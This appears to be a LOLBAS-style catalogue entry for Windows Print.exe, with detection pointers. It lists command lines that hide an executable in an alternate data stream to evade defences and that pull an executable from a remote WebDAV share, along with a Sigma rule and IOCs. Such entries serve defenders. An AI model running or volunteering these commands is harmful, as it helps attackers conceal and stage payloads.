2018-06-09 00:15:06 +02:00
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Name: Print.exe
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2018-09-24 21:59:43 +02:00
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Description: Used by Windows to send files to the printer
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Author: 'Oddvar Moe'
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2021-01-10 16:04:52 +01:00
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Created: 2018-05-25
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2018-06-09 00:15:06 +02:00
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Commands:
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- Command: print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe
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Description: Copy file.exe into the Alternate Data Stream (ADS) of file.txt.
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2018-09-24 21:59:43 +02:00
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Usecase: Hide binary file in alternate data stream to potentially bypass defensive counter measures
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2018-09-26 09:34:01 +02:00
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Category: ADS
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2018-09-24 21:59:43 +02:00
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Privileges: User
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2021-11-05 19:58:26 +01:00
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MitreID: T1564.004
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2018-09-24 21:59:43 +02:00
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-06-09 00:15:06 +02:00
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- Command: print /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exe
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Description: Copy FileToCopy.exe to the target C:\ADS\CopyOfFile.exe
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2018-09-24 21:59:43 +02:00
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Usecase: Copy files
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Category: Copy
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-06-09 00:15:06 +02:00
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- Command: print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe
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Description: Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.
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2018-09-24 21:59:43 +02:00
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Usecase: Copy/Download file from remote server
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Category: Copy
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-12-10 14:28:12 +01:00
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Full_Path:
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2018-09-24 21:59:43 +02:00
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- Path: C:\Windows\System32\print.exe
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- Path: C:\Windows\SysWOW64\print.exe
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2021-01-10 16:04:52 +01:00
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Code_Sample:
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2021-11-15 14:19:03 +01:00
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- Code:
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2018-09-24 21:59:43 +02:00
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Detection:
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2021-11-15 14:19:03 +01:00
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- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_print.yml
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- IOC: Print.exe retrieving files from internet
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- IOC: Print.exe creating executable files on disk
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2018-06-09 00:15:06 +02:00
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Resources:
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2018-09-24 21:59:43 +02:00
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- Link: https://twitter.com/Oddvarmoe/status/985518877076541440
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- Link: https://www.youtube.com/watch?v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd2zxasf2j3rbozrswnrk0h00410
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Acknowledgement:
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- Person: Oddvar Moe
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Handle: '@oddvarmoe'
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